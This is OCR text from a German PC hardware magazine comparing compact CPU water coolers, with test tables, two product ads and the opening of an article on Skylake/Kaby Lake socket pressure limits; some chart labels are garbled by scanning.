Leistungsunterschied Lüfterposition 


CPU-Temperatur; Core Damage, Serienlüfter bei 1,0 Sone 


Celsius 524 1980 U/min saugend ВЕН 45,4 
Celsius 524 1980 U/min blasend =a 45,8 


Celsius 524 1440 U/min saugend ==nG 46,9 
Celsius 524 1440 U/min blasend r 47,8 


Celsius 524 1100 U/min saugend Ee 49,1 
Celsius 524 1100 U/min blasend = 


Celsius 524 960 U/min blasend a =ssAsIÇ . 
Celsius 524 960 U/min saugend ==, 


System: Xeon E5-2687W (150 W TDP), 3,4 GHz/1,068 V; Gigabyte X79-UD7; EKL 
Permafrost; offener Aufbau, frontaler Lüfter 180 mm 330 U/min Bemerkungen: 
Fractals ungewöhnliche Lüfterposition zeigt wenig, aber tendenziell positive Wirkung. 


Grad Celsius 
< Besser 
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4\harkoon 


Damit du stets deinen Platz behauptest, haben wir 
den königlichen SKILLER SGS3 Gaming Seat 
entwickelt. Er ist sportlich designt, hochwertig 
verarbeitet und mit edlen Stickereien verziert. 
Neben zahlreichen ergonomischen Einstellmög- 
lichkeiten, wie den 4-Wege-Armlehnen, werden 
zudem praktische Extras geboten: Dank der extra- 


Weg 


bamere UV 


ЕС LL er 


großen Rollen mit Bremsfunktion hast du auch 
in hektischen Spielsituationen jederzeit einen 
sicheren Stand. Die komfortable Wippfunktion 
bietet eine beruhigende Schaukelstuhl-Atmosphä- 
re, lässt sich aber auch arretieren. Für ausge- 
dehnte Pausen kann die Rückenlehne von 90° bis 
160° eingestellt werden. 


abad 


GAMING SEAT 


www.sharkoon.de 
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Praktisch: Fractal Design integriert Kabel und Anschlüsse für Lüfter unauffällig in 
Schläuche und Radiator. Die Anschlüsse sind 360° dreh- und demontierbar. 


Eine USB-konfigurierbare Steuerung in der Pumpe kontrolliert EVGAs Lüfter. Das 
extravagante Design mit offenen Rahmen verliert aber klar gegen NZXT. 


Leistung mit gedrosselter Pumpe 


Die Leistung einer Wasserkühlung hängt prinzipiell nicht nur vom Wärmeübergang vom 
Wärmetauscher an die Umgebungsluft und damit der Lüfterleistung ab, sondern auch 
vom Wärmetransport innerhalb des Kreislaufes, also der Fließgeschwindigkeit des Kühl- 
mediums respektive der Pumpleistung. Letztere kann theoretisch über die Versorgungs- 
spannung der Pumpe beeinflusst werden, die Teilnehmer dieser Marktübersicht erlauben 
aber alle nur den Betrieb mit vollen 12 Volt. Von diesen Spezifikationen sollte nur mit 
großer Vorsicht abgewichen werden, denn eine stehenbleibende Pumpe kann Schaden 
nehmen und führt binnen Sekunden zu einem überhitzten System. Zum Glück gibt es 
Alternativen: NZXT und EVGA erlauben eine Beeinflussung der Pumpe via USB, Fractal 


Design via PWM-Signal. 


Bei NZXT können wir hierbei nur die Minimaleinstellung prüfen (siehe Haupttest), 

denn der serienmäßige Auto-Zustand reguliert die Pumpengeschwindigkeit nach der 
Wassertemperatur und auch mit manuell vorgegebenen Maximalwert dreht die Pumpe 
im Schallmessraum ohne USB-Verbindung und Abwärme eines realen Systems nur mit 
minimaler Lautheit. Das ist im Alltag sinnvoll, macht reproduzierbare Messungen aber 
unmöglich. Testfreundlich sind dagegen die fixen Vorgaben bei EVGA. Bei der voreinge- 
stellten Minimaldrehzahl messen wir 0,2 Sone; die Maximaleinstellung geht mit einer auf 
0,4 Sone verdoppelten Lautheit, aber quasi unveränderten Temperaturen einher — wir 
empfehlen daher eine Beibehaltung der Herstellervorgabe. Letztere beinhaltet bei Fractal 
Design erneut eine sinnvolle, aber nicht reproduzier- und mangels USB-Verbindung auch 
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zugunsten eines externen PWM- 
Signals, es gibt aber keine USB- 
Verbindung für individuelle Ein- 
stellungen. Genauer gesagt, geht 
überhaupt nur ein einziges (4-Pin- 
PWM-)Kabel von der Kühlung aus 
- und das gehört zum Konzept. Wo 
andere Kompaktwasserkühlungen 
die saubere Verlegung getrennter 
Strom-, Regel-, Überwachungs- und 
Lüfteranschlüsse erfordern, muss 
bei Fractal Design nur ein einziges 
Kabel zu einem Lüfteranschluss auf 
dem Mainboard geführt werden. 
Dieses versorgt Pumpeneinheit 
und Lüftersteueurung mit Strom. 
Von Letzterer wiederum führt 
ein verstecktes Kabel entlang der 
Schläuche zu einem Fan-Hub am 
Radiator, sodass keine Lüfterkabel 
durch das Gehäuse verlegt wer- 
den müssen. Wer Pumpe und Lüf- 
ter getrennt regeln möchte, kann 
natürlich auch auf die Nutzung 
des Hubs verzichten - nötig ist 
dies aber nicht, denn bereits die 
2x120-mm-Ausführung hat genug 
Leistung, um die meiste Zeit mit 
unter 58 Prozent PWM und somit 
der minimalen Pumpendrehzahl 
zu arbeiten (siehe Extrakasten). 
Die Celsius S36 hat noch mehr 
Leistungsreserven und gibt sich 
nur den 2x-140-mm-Konkurrenten 
geschlagen, ermöglicht im Ge- 
gensatz zu ihnen aber zumindest 
theoretisch Nutzung des 
Leistungsüberschusses: Fractal De- 
sign erlaubt eine Erweiterung des 


eine 


Kreislaufes zum Beispiel um einen 
GPU-Kühler und nutzt hierzu gän- 
gige G1/4-Zoll-Gewinde zwischen 
Schläuchen und Radiator. Ohne 
Ausgleichsbehälter und mit einem 
Aluminiumradiator, der bei fal- 
scher Wahl der Kühlflüssigkeit kor- 
rosionsgefährdet ist, sind derartige 
Umbauten aber wenig anfänger- 
freundlich. 


ID-Cooling Frostflow 240: Relativ 
leise Pumpe, keine echten Stärken. 
Ebenso wie Fractal Design und 
NZXT vertraut ID-Cooling bei sei- 
nen Kompaktwasserkühlungen 
auf solide OEM-Technik von Ase- 
tek. In ungedrosseltem Zustand 
hat man sogar die leiseste Pumpe, 
Fractal Design erlaubt aber eine 
Drosselung in noch leisere Berei- 
che. Optisch setzt sich ID-Cooling 
mit einem LED-Lauflicht an der 
Pumpeneinheit und farbig pas- 
senden Ringen an den Lüftern ab. 
Im Gegensatz zu NZXT bestehen 
aber keine Konfigurationsmöglich- 
keiten, man muss sich beim Kauf 
zwischen verschiedenen Farbvari- 
anten entscheiden. Dem gleichen 
„nicht schlecht, aber“-Schema fol- 
gen der relativ günstige, gegen Coo- 
ler Master aber chancenlose Preis 
und die gute, aber mit lauten und 
nur eingeschränkt drosselbaren 
Lüftern erkaufte Kühlleistung. Ein 
positives  Alleinstellungsmerkmal 
fehlt der Frost Flow somit - zumin- 
dest in der hier getesteten Version. 


nicht beeinfluss- oder nachvollziehbare Regelung nach der Wassertemperatur. Für un- 
seren Haupttest wählen wir daher den PWM-Modus mit maximaler Leistung — 0,1 Sone 
Luftschall sind ohnehin der bestmögliche Lautheitswert im Rahmen unserer Testtabelle. 
Kommt noch die Resonanz eines (nicht repräsentativen) Mainboards hinzu, messen wir 
aber 0,6 Sone, weswegen sich im heimischen Rechner eher die minimale Pumpendreh- 
zahl (1 bis 58 Prozent PWM — entspricht max. 770 U/min Lüfterdrehzahl) mit 0,2 Sone 
inklusive Resonanzen empfiehlt. Auch hier bleibt die Kühlleistung nahezu unverándert. 


Pumpengeschwindigkeit vs. Kühlleistung 


CPU-Temperatur; Core Damage, Serienlüfter 
EVGA СІС 2x 140 Pumpe Maximum EX 46,9 
EVGA СІС 2x 140 Pumpe Standard X 47,3 


Celsius 3x 120 Pumpe Standard = 
Celsius Зх 120 Pumpe minimum = ==r,s,5 


Celsius 2x 120 Pumpe Standard [m 49,1 
Celsius 2x 120 Pumpe minimum == 50,3 


System: Xeon E5-2687W (150 W TDP); Gigabyte X79-UD7; EKL Permafrost; offener 
Aufbau, frontaler Lüfter 180 mm 330 U/min Bemerkungen: In allen bislang vermes- 
sen Fállen ist eine langsamere, leise Pumpeneinstellung der bessere Kompromiss. 


Grad Celsius 
< Besser 
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Kühleffizienz im Vergleich: Lautheit und resultierende Temperaturen 
Das Effizienzdiagramm gibt einen Überblick über stark unterschiedlich abgestimmte Kühlungen. Überragende Produkte finden sich unten links (leise und kühl). 
Antec Mercury 240 
= 60 O Be Quiet Silent Loop 240 mm 
E Cooler Master Master Liquid 240 
5 x EVGA СІС 280 
= x Fractal Design Celsius 524 
E O Fractal Design Celsius 536 
E + ID-Cooling Frostflow 240 
2 NZXT Kraken X62 
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Lautheit Lüfter [Sone] 
System: Xeon E5-2687W (150 W ТОР), 3,4 GHz/1,068 V unter Last; Gigabyte X79-UD7; Win 7 x64 SP1; Core Damage; ЕКІ Alpenföhn Permafrost; offener Aufbau, frontaler Lüfter 180 mm 330 U/min; Kühler freistehend, Lüfterrege- 
lung mit Zalman ZM-MFC3; Messung frontal Bemerkungen: Kraken X62, СІС 280 und Celsius 536 können ihren Größenvorteil ausspielen, in der 2x-120-mm-Klasse kann Be Quiet Cooler Master unterhalb von 0,5 Sone schlagen. 
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CHERRY® WIN-KEY-LOCK- Anti-Ghosting & 
MX-RED-Schalter Funktion N-Key-Rollover 


Die neue mechanische Gaming-Tastatur von LC-Power, 
schnell und effizient dank den 
ultraprázisen CHERRY9-MX-RED-Schaltern! 


- hochwertiges Aluminium-Top-Cover 
- 4 Hintergrundbeleuchtungsmodi 
- 8 Multimedia- & 6 programmierbare Makro-Tasten 


LC-Power-Produkte u.a. erhältlich bei: Bora-Computer.de = Cyberport.de | -at - KMComputer.de = Mindfactory.de = Reichelt.de - Brack ch - Digitec.ch - Steg-Electronics.ch 


PROZESSOREN | Marktübersicht Kompaktwasserkühlungen 


Wechselnde Farbkombination: Die Mercury-Lüfter sind statisch blau beleuchtet, die 
Pumpe dagegen pulsierend und temperaturabhängig in Blau, Türkis, Grün oder Rot. 


Alternativ bietet ID-Cooling aber 
auch die Frostflow 240G an. Mit 
einer Grafikkarten- statt einer CPU- 
Sockelhalterung ist sie eine der 
wenigen GPU-Kompaktwasserküh- 
lungen am Markt, die mehr als ei- 
nen 1x120-mm-Radiator bietet. Die 
„Hunter Duett“ vereint gar beide 
Kühlblöcke in einem Kreislauf und 
ist damit die einzige vorgefüllte, 
vormontierte CPU-und-GPU-Kühl- 
lösung am Markt. 


Antec Mercury 240: Leise Abstim- 
mung, Probleme bei der Leistung. 
Nicht am Markt präsent ist dagegen 
Antecs Mercury-Serie, selbst auf 
der hauseigenen Website finden 
sich nur die alten Kühler-H2O-Pro- 
Modelle (siehe PCGH 04/2016). 
Obwohl die Mercury bereits auf 
der Cebit offiziell vorgestellt wur- 
de und das Testmuster kurz darauf 
eintraf, Konnte man uns auf Nach- 
frage bis Redaktionsschluss weder 
einen Verfügbarkeitstermin noch 
eine unverbindliche Preisempfeh- 


lung mitteilen. Wir hoffen, dass 
Antec die Verzögerung für einen 
Blick auf Anleitung und Zubehör 
nutzt, denn in unserem Test offen- 
baren sich einige Schwächen. Die 
erste ist kosmetischer Natur, denn 
die beiliegenden Schrauben sind 
viel zu lang für die ungewöhnli- 
che Rahmenform der Lüfter. Selbst 
wenn man beiliegende, in der An- 
leitung nicht erwähnte Abstands- 
halter verwendet, bohren sich die 
Schrauben weit in die Radiatorla- 
mellen. Dank ausreichendem Ab- 
stand zu den Rohren droht hierbei 
zwar keine Gefahr, unprofessionell 
wirkt es dennoch. Ärgerlicher ist 
das beiliegende Y-Kabel, das wie 
schon bei der Kühler H2O Pro das 
Drehzahlsignal beider Lüfter an das 
Mainboard weiterleitet - und so 
für chaotische Anzeigewerte sorgt. 
Den grófsten Schwachpunkt stellt 
die Sockel-2011-Halterung 
dar, denn bei Montage gemáfs An- 
leitung wird der Kühler gar nicht 
auf die CPU gedrückt. Bis Redakti- 


aber 
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Auszug aus Testtabelle 
mit 62 Wertungskriterien 


Produkt 


Hersteller 


Cool 


Master L 


er Master (www.coolermaster.com) 


Kraken X6. 


NZXT (www.nzxt.com) 


Silent Loop 240 mm 
Be Quiet (www.bequiet.de) 


Fractal Design (www.fractal-design.com) 


Preis/Preis-Leistungs-Verháltnis 


Ca. € 85,-/gut 


Ca. € 150,-/befriedigend 


Ca. € 120,-/befriedigend 


Ca. € 110,-/befriedigend 


www.pcgh.de/preis/1526114 


www.pcgh.de/preis/1508159 


www.pcgh.de/preis/1621894 


Link zum PCGH-Preisvergleich www.pcgh.de/preis/1562099 


Enthaltene Lüfter/Anschluss/Entkopplung 


2x 120 mm/4 Pin/ja 2x 140 mm/4 Pin (PWM-Nutzung proble- |2х 120 mm/4 Pin/keine 2x 120 mm/4 Pin/keine 
matisch)/nein (vorhandene Entkoppler auf 
Radiator wirkungslos) 
Montierbare Lüfter* 2x 120 mm vorne oder hinten 2x 140 mm vorne und hinten 2x 120 mm vorne oder hinten 2x 120 mm vorne oder hinten 
Lüfterdrehzahl min. — max. 710 — 2.040 U/min 520 — 1.840 U/min 580 — 2.090 U/min 470 — 1.980 U/min 


Wärmeleitmittel/Lüftersteuerung/Extras 


Spritze/keine/Pumpenlogo weiß beleuchtet; 
Y-Kabel 


Voraufgetragen/via USB (automatisch, 
7-Punkt)/Pumpe RGB- oder temperaturab- 
hängig beleuchtet (diverse Effekte zur Wahl) 


Spritze/keine/Y-Kabel 


Voraufgetragen/automatisch nach Was- 
sertemperatur/PWM-Hub an Radiator 


Erweiterbarkeit 


Keine 


Keine 


Gut (G1/4-Zoll-Gewinde; 11/8 mm 
Schlauch) 


Prinzipiell möglich (G1/4-Zoll-Gewinde am 
Aluminium-Radiator) 


Beiliegende Schrauben für Radiator 


UNC 6-32 Gewinde; 30; 5 mm 


UNC 6-32 Gewinde; 31; 5 mm 


M3 Gewinde; 30; 6 mm 


UNC 6-32 Gewinde; 31; 5 mm 


Sockelunterstützung AMD 


AM4/AM2(+)/AM3(+)/FM1/FM2(+) 


АМ2(+)/АМЗ(+)/ЕМ1/ЕМ2(+) 


AM2(+)/AM3(+)/FM1/FM2(+) 


AM4/AM2(+)/AM3(+)/FM1/FM2(+) 


Sockelunterstützung Intel 


1150/1155/1156/2011/2011-v3/1366/775 


1150/1155/1156/2011/2011-v3/1366 


1150/1155/1156/2011/2011-v3/1366/775 


1150/1155/1156/2011/2011-v3 


Anpresskraft Sockel 1151 


240 N 


190 N 


180 N 


200 N 


Maße (L x B x D Radiator), Gewicht mit 
Serienlüfter(n), Schlauchlänge 


278 x 120 x 53 mm, 1125 g, 31 cm 


316 x 144 x 55 mm, 1326 g, 38 cm 


275 x 123 x 55 mm, 1443 g, 38 cm 


283 x 122 x 55 mm, 1176 g, 37 cm 


Montageaufwand (AMD/115X/2011) 


Gering/mittel/mittel 


Gering/gering/gering 


Mittel/mittel/mittel 


Gering/gering/gering 


Platinenausbau nótig (AMD/115X/2011) 


Nein/ja/nein 


Nein/ja/nein 


Nein/ja/nein 


Nein/ja/nein 


Gedrehte Montage (AMD/115X/2011) 


Möglich/möglich/möglich 


Möglich/möglich/möglich 


Möglich/möglich/möglich 


Möglich/möglich/möglich 


CPU-Temp., Serienlüfter (100/75/50 %) 


45,2/47,5/52,7 °C 


41,5/41,7/43,6 °C 


47,2/48,5/51,7 °C 


45,4/46,9/51,6 °C 


Lautheit Serienlüfter (100/75/50 %) 


3,9/1,6/0,4 Sone 


6,3/3,4/1,0 Sone 


4,3/2,0/0,5 Sone 


4,6/2,1/0,7 Sone 


Schalldruckpegel Serienlüfter (100/75/50 %) 


42,8/34,1/23,8 dB(A) 


48,3/41,3/30,1 dB(A) 


45,2/37,2/26 dB(A) 


45,9/37,4/27 dB(A) 


CPU-Temp., Serienlüfter bei 1.0 Sone 


49,1 °C (1.320 U/min) 


43,6 °C (960 U/min) 


50,4 °C (1.230 U/min) 


49,1 °C (1.100 U/min) 


CPU-Temp., Referenzlüfter (100/75/50 96) 


47,4/50,5/53,8 °C 


43,2/45,7/52,8 °C 


48,9/50,8/52,9 °C 


41,1/50,3/60,1 °C 


Lautheit Referenzlüfter (100/75/50 %) 


1,7/0,6/0,1 Sone (2 x 120 mm) 


0,9/0,3/0,1 Sone (2 x 140 mm) 


1,7/0,6/0,1 Sone (2 x 120 mm) 


1,7/0,6/0,1 Sone (2 x 120 mm) 


Schalldruckpegel Referenzlüfter (100/75/50 %) 


33,6/25,6/17,4 dB(A) (2 x 120 mm) 


27,4/21,1/17,2 dB(A) (2 x 140 mm) 


33,6/25,6/17,4 dB(A) (2 x 120 mm) 


33,6/25,6/17,4 dB(A) (2 x 120 mm) 


Lautheit Pumpe 


0,1 Sone 


0,2 Sone 


0,1 Sone 


0,1 Sone 


FAZIT 


62 


PC Games Hardware | 07/17 


Wertung: 1,87 
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*Lüfter mit größentypischen Rahmen. Ggf. weitere Formate mit atypischen Rahmen möglich 
** Integrierte Pumpe erhöht Lautheits-Messwerte bei stark gedrosselten Lüftern künstlich 


***Luftkühler nach Kompaktwasserkühlungssystem bewertet 
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onsschluss konnte Antec uns nicht 
sagen, ob dies ein Fertigungs- oder 
ein Anleitungsfehler ist. Für unsere 
Tests nutzen wir zusätzlich einen 
Satz Unterlegscheiben, der laut 
Anleitung nur für Sockel-1151-Sys- 
teme vorgesehen ist. So erreichen 
wir einen sicheren Sitz des CPU- 
Kühlers und in den Messungen 
mit Referenzlüftern eine Kühlleis- 
tung nahe an der Konkurrenz - 
was man den Serienlüftern leider 
nicht bescheinigen kann. Deren 
vergleichsweise leise Abstimmung 
ist zwar lobenswert, zusätzlich ar- 
beitet die Mercury aber eher inef- 
fizient und fällt deutlich hinter das 
1,0-Sone-Niveau der Konkurrenz 
und sogar von Single-140-mm-Luft- 
kühlern zurück. Abgerundet wird 
die Mängelliste mit dem beiliegen- 
den Stromversorgungskabel, das 
einen SATA-Stromstecker mit einer 
Buchse im Micro-USB-Format an 
der Pumpe verbindet. Wir sagen 
bewusst Format, denn wer stattdes- 
sen ein normales Micro-USB-Kabel 


verwendet, wird mit einer stehen- 
den Pumpe belohnt - umgekehrt 
würde die 12-V-Stromversorgung 
des Antec-Kabels ein echtes USB- 
Gerät zerstören. Die Kombination 
aus Antec-Kabel und Antec-Küh- 
lung funktioniert zwar problemlos, 
aber ein Warnhinweis wäre in un- 
seren Augen das Mindeste, wenn 
etablierte Steckerformate in dieser 
Form zweckentfremdet werden. 
Immerhin kann Antec bei der Op- 
tik punkten: Ein weißer Gummi- 
Überzug hebt die Pumpe von der 
breiten Masse schwarzer Produkte 
ab, ihre Oberseite sowie die Lüfter 
sind zusätzlich beleuchtet. 


EVGA Closed Loop CPU Cooler 280: 
Luxus-Krachmacher. Antec erarbei- 
tet sich seinen Rückstand mit vie- 
len kleinen Mängeln und Unstim- 
migkeiten - EVGA katapultiert sich 
dagegen mit einem Kraftakt auf 
den letzten Platz dieses Vergleiches. 
Aufgebracht wird die Kraft von den 
beiliegenden Lüftern, die trotz des 


großen 2x140-mm-Formates mit 
über 2.300 U/min und somit über 
10 Sone zu Werke gehen. Das ist 
beinahe ein neuer Negativrekord 
und absolut praxisuntauglich - zu- 
mal die Kühleffizienz im direkten 
150-Euro-Vergleich mit NZXT ver- 
besserungswürdig erscheint. Scha- 
de eigentlich, denn die Featureliste 
ist bei EVGA ähnlich lang und die 
Lieferung mit vormontierten Lüf- 
tern macht den Einbau noch ein- 
mal etwas einfacher. (tu) 


Fazit Нагйшаге 


Wasser steigt und Luft wird knapp 
Mit jeder neuen Kompaktwasserküh- 
lungsmarktübersicht sinkt der Anteil 
der reinen Krachmacher und steigt die 
Zahl der Kühlungen, die für leistungs- 
fáhige Alltagssysteme empfehlenswert 
ist. Noch dominieren Luftkühler den 
Ultra-Silent-Bereich, aber im reinen 
Gamingeinsatz sind Cooler Master und 
Fractal Design konkurrenzfáhig. 


Nicht-Entkopplung: Die ID-Cooling- 
Lüfter haben Gummielemente, diese sind 
aber weit von den kleinen Lüfterauflage- 
fláchen am Radiator entfernt. 


KOMPAKT-WAKÜ 


Auszug aus Testtabelle 
mit 62 Wertungskriterien 


Ë 


Produkt 


Hersteller 


e Y 
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Celsius S36 


Fractal Design (www.fractal-design.com) 


Frostflow 240 


ID-Cooling (www.id-cooling.com) 


Mercury 240 


Antec (www.antec.com) 


CLC 280 
EVGA (www.evga.de) 


Preis/Preis-Leistungs-Verhältnis 


Ca. € 120,-/befriedigend 


Ca. € 110,-/befriedigend 


Keine Angabe 


Ca. € 150,-/mangelhaft 


Link zum PCGH-Preisvergleich 
Ausstattung (20%) 
Enthaltene Lüfter/Anschluss/Entkopplung 


www.pcgh.de/preis/1621923 


3x 120 mm/4 Pin/keine 


www.pcgh.de/preis/1425977 


2x 120 mm/4 Pin/nein (vorhandene Ent- 


Nicht gelistet 


2x 120 mm/4 Pin/keine 


www.pcgh.de/preis/1571010 


2x 140 mm/4 Pin/nein 


koppler auf Radiator wirkungslos) 


Montierbare Lüfter* 


3x 120 mm vorne oder hinten 


2x 120 mm vorne oder hinten 


2x 120 mm vorne oder hinten 


2x 140 mm vorne oder hinten 


Lüfterdrehzahl min. — max. 


470 — 1.950 U/min 


950 — 2.190 U/min 


650 — 1.930 U/min 


610 — 2.320 U/min 


Wármeleitmittel/Lüftersteuerung/Extras 


Voraufgetragen/automatisch nach Was- 
sertemperatur/PWM-Hub an Radiator 


Spritze/keine/Pumpe weiß beleuchtet 
(durchlaufend); Y-Kabel 


Spritze/keine/Pumpe temperaturabhängig 
beleuchtet; Lüfter blau beleuchtet; Grob- 
gewindeschrauben für Lüftermontage am 
Gehäuse; Y-Kabel (Drehzahlsignal fehlerhaft) 


Voraufgetragen/via USB (automatisch, 
4-Punkt)/Pumpe RGB- oder temperaturab- 
hängig beleuchtet 


Erweiterbarkeit 


Prinzipiell möglich (G1/4-Zoll-Gewinde am 
Aluminium-Radiator) 


Keine 


Keine 


Keine 


Beiliegende Schrauben für Radiator 
Eigenschaften (20%) 
Sockelunterstützung AMD 


UNC 6-32 Gewinde; 31; 5 mm 
2,57 
АМА/АМ2(+)/АМЗ(+)/ЕМ1/ЕМ2(+) 


UNC 6-32 Gewinde; 29; 6 mm 
2,49 
AM2(+)/AM3(+)/FM1/FM2(+) 


UNC 6-32 Gewinde; 30; 6 mm 
2,33 
АМ2(+)/АМЗ(+)/ЕМ1/ЕМ2(+) 


UNC 6-32 Gewinde; 31; 5 mm 
2,50 
АМ2(+)/АМЗ(+)/ЕМ1/ЕМ2(+) 


Sockelunterstützung Intel 


1150/1155/1156/2011/2011-v3 


1150/1155/1156/2011/2011-v3/1366/775 


1150/1155/1156/2011/2011-v3/1366/775 


1150/1155/1156/2011/2011-v3/1366 


Anpresskraft Sockel 1151 


180 N 


220 N 


110 N 


220 N 


Maße (L x B x D Radiator), Gewicht mit 
Serienlüfter(n), Schlauchlänge 


404 x 122 x 56 mm, 1499 g, 37 cm 


275 x 120 x 52 mm, 969 g, 29 cm 


274 x 120 x 49 mm, 1183 g, 33 cm 


316 x 144 x 55 mm, 1318 g, 38 cm 


Montageaufwand (AMD/115X/2011) Gering/gering/gering Hoch/mittel/mittel Mittel/mittel/mittel Gering/gering/gering 
Platinenausbau nötig (AMD/115X/2011) Nein/ja/nein Jalja/nein Ja/ja/nein Nein/ja/nein 

Gedrehte Montage (AMD/115X/2011) Möglich/möglich/möglich Nicht möglich/möglich/möglich Möglich/möglich/möglich Möglich/möglich/möglich 
Leistung (60%) 1,74 2,17 2,27 2,51 

CPU-Temp., Serienlüfter (100/75/50 %) 43,1/45,0/49,1 °C 47,6/49,3/52,1 °C 51,5/54,6/60,6 °C 41,5/42,2/44,9 °C 
Lautheit Serienlüfter (100/75/50 %) 5,3/2,8/0,9 Sone 6,7/3,2/0,9 Sone 3,3/1,5/0,4 Sone 10,8/5,7/1,9 Sone 


Schalldruckpegel Serienlüfter (100/75/50 %) 


47,1/39,9/29,1 dB(A) 


50/41,4/29,5 dB(A) 


41,8/33,8/23,6 dB(A) 


56,6/48,2/35,5 dB(A) 


*Lüfter mit größentypischen Rahmen. Ggf. weitere Formate mit atypischen Rahmen möglich 
** Integrierte Pumpe erhöht Lautheits-Messwerte bei stark gedrosselten Lüftern künstlich 


***|uftkühler nach Kompaktwasserkühlungssystem bewertet 


CPU-Temp., Serienlüfter bei 1.0 Sone 


48,2 *C (1.020 U/min) 


51,7 °C (1.110 U/min) 


57,9 *C (1.140 U/min) 


47,3 *C (960 U/min) 


CPU-Temp., Referenzlüfter (100/75/50 96) 


46,0/48,0/54,9 °C 


44,0/52,3/55,5 °C 


52,3/55,4/58,9 °C 


44,9/47,7157,8 °C 


Lautheit Referenzlüfter (100/75/50 96) 


2,3/0,9/0,1 Sone (3 x 120 mm) 


1,7/0,6/0,1 Sone (2 x 120 mm) 


1,7/0,6/0,1 Sone (2 x 120 mm) 


0,9/0,3/0,1 Sone (2 x 140 mm) 


Schalldruckpegel Referenzlüfter (100/75/50 %) 


37,1/27,7117,7 dB(A) (3 х 120 mm) 


33,6/25,6/17,4 dB(A) (2 x 120 mm) 


33,6/25,6/17,4 dB(A) (2 x 120 mm) 


27,4/21,1/17,2 dB(A) (2 x 140 mm) 


Lautheit Pumpe 


0,1 Sone 


FAZIT 


© Relativ günstig 
© Hohe Leistung 
© Sehr sperrig 


Wertung: 2,04 
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0,1 Sone 


© LED-Lauflicht 
© Mittelmäßige Leistung 
© Relativ laut 


Wertun 


: 2,39 


0,2 Sone 


© Relativ leise 
© Lüfter beleuchtet 
© Niedrige Leistung 


Wertung: 2,49 
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0,2 Sone 


© Sehr hohe Leistung 
Q Integrierte Lüftersteuerung 
© Sehr, sehr laut 


Wertung: 2,54 
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Intel unter Druck 


Prozessoren sind empfindliche Technik, wie spätestens die „Skylakegate"-Fälle von 2015 bewiesen 


haben. Auch Kaby-Lake-CPUs sind potenziell in Gefahr — aber wie riskant sind aktuelle Kühler? 


er Winter 2015/2016 gehörte 

Intels Sockel 1151: Die Platt- 
form brachte den größten Ausstat- 
tungsfortschritt seit Langem und 
die Skylake-Prozessoren Core i7- 
6700K und i5-6600K wurden den 
Händlern selbst zu überhöhten 
Preisen schneller aus den Händen 
gerissen, als Intel sie nachliefern 
konnte. Hinter den Kulissen mach- 
ten aber Berichte von hohen RMA- 
Quoten die Runde: Rechner fielen 
nach kurzer Zeit aus oder trafen be- 
reits funktionslos beim Nutzer ein. 


Kaputt - einfach so? 

Die Ursache der Symptome war 
offensichtlich: Die 
betroffener Rechner 
regelrecht in den Sockel hineinge- 
quetscht und dauerhaft verformt. 
In einigen Fällen überlebten die 


Prozessoren 
wurden 
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Leiterbahnen im Substrat, also der 
Platine an der Unterseite des Pro- 
zessors, diese Belastung nicht. Häu- 
figer kamen stark verbogene Kon- 
taktfedern im Sockel vor - so auch 
im PCGH-Selbstversuch. In beiden 
Fällen wird der elektrische Kontakt 
zwischen Mainboard und dem ei- 
gentlichen Silizium-Chip im Inne- 
ren des Prozessors unterbrochen. 


Ausgeübt wurden die deformie- 
renden Kräfte offensichtlich von 
großen Retail-CPU-Kühlern - aber 
warum waren diese auf einmal ein 
Problem? 
der Sockel 1151 nämlich weder 
etwas an den Kühler-Befestigungs- 
punkten im Mainboard noch an 
Position und Größe der Kontakt- 
fläche auf dem Prozessor. Auch die 


Grundsätzlich änderte 


Unseren ersten Artikel 

zum Thema finden Sie auf 

dem beiliegenden Daten- 

träger, ein Video unseres 

extremen PCGH-in-Gefahr- 
Skylake-PC-Wurftests sowie Links zu weiteren 
Informationen und Hersteller-Stellungnahmen 
unter www.pcgh.de/skyfall. 


anderen Rahmenbedingungen ent- 
sprachen denen von Sockel-1150-, 
-1155- und -1156-Systemen, weswe- 
gen alle älteren Kühler-Designs als 
voll 1151-kompatibel galten. 


Harte Schale, weicher Kern 
Innerhalb des Prozessor-Packages 
hatte Intel aber sehr wohl Ände- 
rungen vorgenommen. Einerseits 
ist der integrierte Heatspreader 
(IHS) dicker, andererseits aber das 
Substrat dünner - und damit der 
gesamte Prozessor empfindlicher. 
Die gleichen Belastungen, die älte- 
re Plattformen klaglos hinnehmen, 
biegen bei Skylake-CPUs das Subst- 
rat in gefährlichem Maße durch. 


Für Internet-Kommentatoren war 


die Lage eindeutig: Intel spart 
Skylake kaputt. Tatsächlich sind 
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die Gründe für die Änderungen 
bis heute nicht bekannt. Erklä- 
rungsansätze reichen von den 
Anforderungen des hochtakten- 
den DDR4-Interfaces bis hin zur 
Wärmeabfuhr durch den dickeren 
Heatspreader. 


Kaby Lake = Skylake = X? 
Fest steht aber: Trotz Überarbeitun- 
gen am Package hat Intel das dünne 
Substrat auch für Kaby Lake über- 
nommen. Der Core i7-7700K und 
seine Verwandten sind also genau- 
so empfindlich wie der billigste So- 
ckel-1151-Pentium von Anfang 2016 
- und zwar nicht aus Kostengrün- 
den, im Gegenteil: Reduziert wurde 
nur die Materialstärke der Substrat- 
Lagen. Die Anzahl der Schichten 
und damit der Fertigungsaufwand 
ist gleich geblieben. Ein kurzer 
Vergleich der Materialpreise des 
eingesparten Glasfaserlaminats im 
Substrat und des zusätzlichen Kup- 
fers im Heatspreader bestätigt da- 
her, was ein einfacher Blick auf die 
Waage bereits vermuten lässt: Das 
empfindliche Sockel-1151-Package 
ist tendenziell sogar ein paar Zehn- 
tel Cent teurer als seine Vorgänger, 
aber offensichtlich aus technischen 
Gründen notwendig. Wir rechnen 
deswegen damit, dass auch die im 
Herbst 2017 erwarteten Coffee- 
Lake-Sockel-1151-Sechskerner und 
möglicherweise auch die kommen- 
de Sockel-2066-Enthusiast-Platt- 
form auf dünne Platinen setzen. 
Unsere Messergebnisse haben so- 
mit Bedeutung weit über die aktu- 
ellen 7000er-Core-Modelle hinaus. 


Spezifikationen sind ... 

Neben dem dünnen Substrat teilt 
sich Kaby Lake auch die Kühler- 
Spezifikationen mit Skylake und 
demnach auch mit den Vorgänger- 
Generationen - und hier wird es 
spannend. Unter anderem zur Ver- 
meidung von Schäden gibt Intel 
nämlich klare Belastungsgrenzen 
vor. Seit dem Sockel 1156 lauten 
diese für Mittelklasse-CPUs: 


I Mit 311 bis 600 N soll der Halte- 
rahmen (ILM - independend 
loading mechanism) die CPU in 
den Sockel drücken. 

I Zusätzliche О bis 222 N statische 
Last darf die Kühlerhalterung 
ausüben. 

